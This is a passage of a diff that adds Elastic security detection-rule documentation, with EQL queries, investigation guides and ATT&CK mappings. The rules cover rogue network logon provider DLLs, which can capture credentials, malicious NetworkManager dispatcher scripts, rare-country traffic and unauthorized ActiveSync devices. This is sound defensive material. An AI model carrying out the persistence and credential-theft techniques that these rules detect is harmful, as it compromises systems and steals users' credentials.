Server\\WinStations\\RDP-Tcp\\UserAuthentication" + ) and registry.data.strings : ("0", "0x00000000") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Downgrade Attack +** ID: T1562.010 +** Reference URL: https://attack.mitre.org/techniques/T1562/010/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-logon-provider-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-logon-provider-registry-modification.asciidoc new file mode 100644 index 0000000000..a9d2f6583c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-logon-provider-registry-modification.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-network-logon-provider-registry-modification]] +=== Network Logon Provider Registry Modification + +Identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon provider module for persistence and/or credential access via intercepting the authentication credentials in clear text during user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy +* https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Logon Provider Registry Modification* + + +Network logon providers are components in Windows responsible for handling the authentication process during a network logon. + +This rule identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon provider module for persistence and/or credential access via intercepting the authentication credentials in plain text during user logon. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Examine the `registry.data.strings` field to identify the DLL registered. +- Identify the process responsible for the registry operation and the file creation and investigate their process execution chains (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. + - Investigate any abnormal behavior by the subject process, such as network connections, DLLs loaded, registry or file modifications, and any spawned child processes. +- Retrieve the file and examine if it is signed with valid digital signatures from vendors that are supposed to implement this kind of software and approved to use in the environment. Check for prevalence in the environment and whether they are located in expected locations. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the executables of the processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- False Positives can include legitimate software installations or updates that modify the network logon provider registry. These modifications may be necessary for the proper functioning of the software and are not indicative of malicious activity. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Reimage the host operating system or restore the compromised files to clean versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings : "?*" and registry.value : "ProviderPath" and + registry.path : ( + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath" + ) and + /* Excluding default NetworkProviders RDPNP, LanmanWorkstation and webclient. */ + not ( + user.id : "S-1-5-18" and + registry.data.strings : ( + "%SystemRoot%\\System32\\ntlanman.dll", + "%SystemRoot%\\System32\\drprov.dll", + "%SystemRoot%\\System32\\davclnt.dll", + "%SystemRoot%\\System32\\vmhgfs.dll", + "?:\\Program Files (x86)\\Citrix\\ICA Client\\x64\\pnsson.dll", + "?:\\Program Files\\Dell\\SARemediation\\agent\\DellMgmtNP.dll", + "?:\\Program Files (x86)\\CheckPoint\\Endpoint Connect\\\\epcgina.dll" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Network Provider DLL +** ID: T1556.008 +** Reference URL: https://attack.mitre.org/techniques/T1556/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-traffic-to-rare-destination-country.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-traffic-to-rare-destination-country.asciidoc new file mode 100644 index 0000000000..0bc9bbac17 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-traffic-to-rare-destination-country.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-network-traffic-to-rare-destination-country]] +=== Network Traffic to Rare Destination Country + +A machine learning job detected a rare destination country name in the network logs. This can be due to initial access, persistence, command-and-control, or exfiltration activity. For example, when a user clicks on a link in a phishing email or opens a malicious document, a request may be sent to download and run a payload from a server in a country which does not normally appear in network traffic or business work-flows. Malware instances and persistence mechanisms may communicate with command-and-control (C2) infrastructure in their country of origin, which may be an unusual destination country for the source network. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Data Source: Elastic Defend +* Data Source: Network Packet Capture +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Domain: Network +* Domain: Endpoint + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Traffic to Rare Destination Country* + + +Machine learning models analyze network logs to identify traffic to uncommon destination countries, which may indicate malicious activities like unauthorized access or data exfiltration. Adversaries exploit this by directing traffic to servers in atypical locations, often linked to command-and-control operations. The detection rule flags such anomalies, aiding in early threat identification and response. + + +*Possible investigation steps* + + +- Review the network logs to identify the specific destination country flagged as rare and assess its historical presence in the network traffic. +- Analyze the source IP addresses and user accounts associated with the flagged traffic to determine if they are legitimate or potentially compromised. +- Investigate the nature of the traffic, such as the protocols and ports used, to identify any unusual patterns or connections to known malicious infrastructure. +- Check for any recent phishing attempts or suspicious emails that may have led to the initiation of this traffic, focusing on links or attachments that could have been used to download malicious payloads. +- Correlate the flagged traffic with any other security alerts or incidents to identify potential patterns or coordinated attacks involving the rare destination country. +- Consult threat intelligence sources to determine if the destination country or specific IP addresses are associated with known threat actors or command-and-control servers. + + +*False positive analysis* + + +- Legitimate business communications with partners or clients in rare destination countries may trigger alerts. Users should review and whitelist these known entities to prevent future false positives. +- Routine software updates or patches from international vendors might be flagged. Identify and exclude these update servers from the detection rule to avoid unnecessary alerts. +- Employees traveling abroad and accessing company resources can generate alerts. Implement a process to temporarily whitelist these destinations based on travel schedules. +- Cloud services with global data centers may route traffic through uncommon countries. Verify the service's IP ranges and exclude them if they are part of normal operations. +- Research or market expansion activities targeting new regions might cause alerts. Document and exclude these activities if they align with business objectives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough scan of the isolated system for malware or unauthorized software, focusing on identifying any command-and-control (C2) communication channels. +- Block network traffic to and from the identified rare destination country at the firewall or proxy level to prevent further communication with potential malicious servers. +- Review and analyze logs from the affected system and network devices to identify any additional indicators of compromise or related suspicious activities. +- If malware is detected, remove it using appropriate tools and techniques, ensuring that all persistence mechanisms are eradicated. +- Restore the affected system from a clean backup if necessary, ensuring that all security patches and updates are applied. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Link +** ID: T1204.001 +** Reference URL: https://attack.mitre.org/techniques/T1204/001/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-networkmanager-dispatcher-script-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-networkmanager-dispatcher-script-creation.asciidoc new file mode 100644 index 0000000000..2d81f20df9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-networkmanager-dispatcher-script-creation.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-networkmanager-dispatcher-script-creation]] +=== NetworkManager Dispatcher Script Creation + +This rule detects the creation of a NetworkManager dispatcher script on a Linux system. NetworkManager dispatcher scripts are shell scripts that NetworkManager executes when network interfaces change state. Attackers can abuse NetworkManager dispatcher scripts to maintain persistence on a system by executing malicious code whenever a network event occurs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating NetworkManager Dispatcher Script Creation* + + +NetworkManager dispatcher scripts are executed on Linux systems when network interfaces change state, allowing for automated responses to network events. Adversaries can exploit this by creating scripts that execute malicious code, ensuring persistence and evasion. The detection rule identifies unauthorized script creation by monitoring file creation events in the dispatcher directory, excluding known legitimate processes and file types, thus highlighting potential abuse. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the specific script created in the /etc/NetworkManager/dispatcher.d/ directory, noting the file path and name. +- Examine the process that created the script by checking the process.executable field to determine if it is an unexpected or suspicious process not listed in the known legitimate processes. +- Investigate the contents of the newly created script to identify any potentially malicious code or commands that could indicate an attempt to maintain persistence or execute unauthorized actions. +- Check the system's recent network events and changes to see if the script has been triggered and executed, which could provide further context on its intended use. +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that could indicate a broader attack or compromise. + + +*False positive analysis* + + +- Package management tools like dpkg, rpm, and yum may trigger false positives when they create or modify dispatcher scripts during software installations or updates. To handle these, ensure that the process executables for these tools are included in the exclusion list within the detection rule. +- Automated system management tools such as Puppet, Chef, and Ansible can also cause false positives when they deploy or update configurations. Verify that the executables for these tools are part of the exclusion criteria to prevent unnecessary alerts. +- Temporary files created by text editors like Vim may be mistakenly flagged. These files typically have extensions like swp or swpx. Ensure these extensions are included in the exclusion list to avoid false positives. +- Custom scripts or applications that are known to create or modify dispatcher scripts for legitimate purposes should be reviewed. If deemed safe, add their process executables to the exclusion list to prevent them from being flagged. +- Consider monitoring the frequency and context of script creation events. If certain scripts are frequently created by known processes, evaluate the need to adjust the rule to reduce noise while maintaining security efficacy. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious scripts and limit the attacker's ability to maintain persistence. +- Review and remove any unauthorized scripts found in the /etc/NetworkManager/dispatcher.d/ directory to eliminate the immediate threat. +- Conduct a thorough examination of the system for additional signs of compromise, such as unexpected processes or network connections, to identify any further malicious activity. +- Restore any affected systems from a known good backup to ensure the removal of any persistent threats that may have been established. +- Implement stricter access controls and monitoring on the /etc/NetworkManager/dispatcher.d/ directory to prevent unauthorized script creation in the future. +- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign. +- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats, leveraging the MITRE ATT&CK framework for guidance on persistence and execution techniques. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.path like "/etc/NetworkManager/dispatcher.d/*" and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "./usr/bin/podman", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "./usr/bin/qemu-aarch64-static" + ) or + process.executable like~ ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + (process.name == "sed" and file.name : "sed*") or + ( + process.executable like ("/kaniko/executor", "/usr/libexec/platform-python*") and + file.path like "/etc/NetworkManager/dispatcher.d/11-dhclient*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-activesyncalloweddeviceid-added-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-activesyncalloweddeviceid-added-via-powershell.asciidoc new file mode 100644 index 0000000000..65a2ff3135 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-activesyncalloweddeviceid-added-via-powershell.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-new-activesyncalloweddeviceid-added-via-powershell]] +=== New ActiveSyncAllowedDeviceID Added via PowerShell + +Identifies the use of the Exchange PowerShell cmdlet, Set-CASMailbox, to add a new ActiveSync allowed device. Adversaries may target user email to collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-casmailbox?view=exchange-ps + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New ActiveSyncAllowedDeviceID Added via PowerShell* + + +ActiveSync is a protocol enabling mobile devices to synchronize with Exchange mailboxes, crucial for accessing emails on-the-go. Adversaries may exploit the Exchange PowerShell cmdlet, Set-CASMailbox, to add unauthorized devices, gaining persistent access to sensitive email data. The detection rule identifies suspicious PowerShell activity by monitoring for specific command patterns, helping to flag potential unauthorized device additions and mitigate risks associated with account manipulation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (e.g., powershell.exe, pwsh.exe, powershell_ise.exe) and the command line arguments used, focusing on the presence of "Set-CASMailbox" and "ActiveSyncAllowedDeviceIDs". +- Examine the user account associated with the process execution to determine if the account has a history of legitimate administrative actions or if it might be compromised. +- Check the device ID added to the ActiveSyncAllowedDeviceIDs list to verify if it is recognized and authorized for use within the organization. +- Investigate the source IP address and host from which the PowerShell command was executed to assess if it aligns with expected administrative activity or if it originates from an unusual or suspicious location. +- Review recent email access logs for the user account to identify any unusual patterns or access from unfamiliar devices that could indicate unauthorized access. +- Correlate this event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger the rule when IT staff use PowerShell to configure or update ActiveSync settings for users. To manage this, create exceptions for known administrative accounts or specific maintenance windows. +- Automated scripts for device management that include the Set-CASMailbox cmdlet can cause false positives. Review and whitelist these scripts if they are verified as part of routine operations. +- Third-party applications that integrate with Exchange and modify ActiveSync settings might be flagged. Identify and exclude these applications if they are trusted and necessary for business operations. +- Regular audits of device additions by authorized personnel can help distinguish between legitimate and suspicious activities, allowing for more accurate exception handling. +- Consider the context of the activity, such as the time of day and the user account involved, to refine detection rules and reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access to the mailbox. +- Revoke the ActiveSync device access by removing the unauthorized device ID from the user's mailbox settings using the Exchange PowerShell cmdlet. +- Conduct a thorough review of the affected user's mailbox and account activity logs to 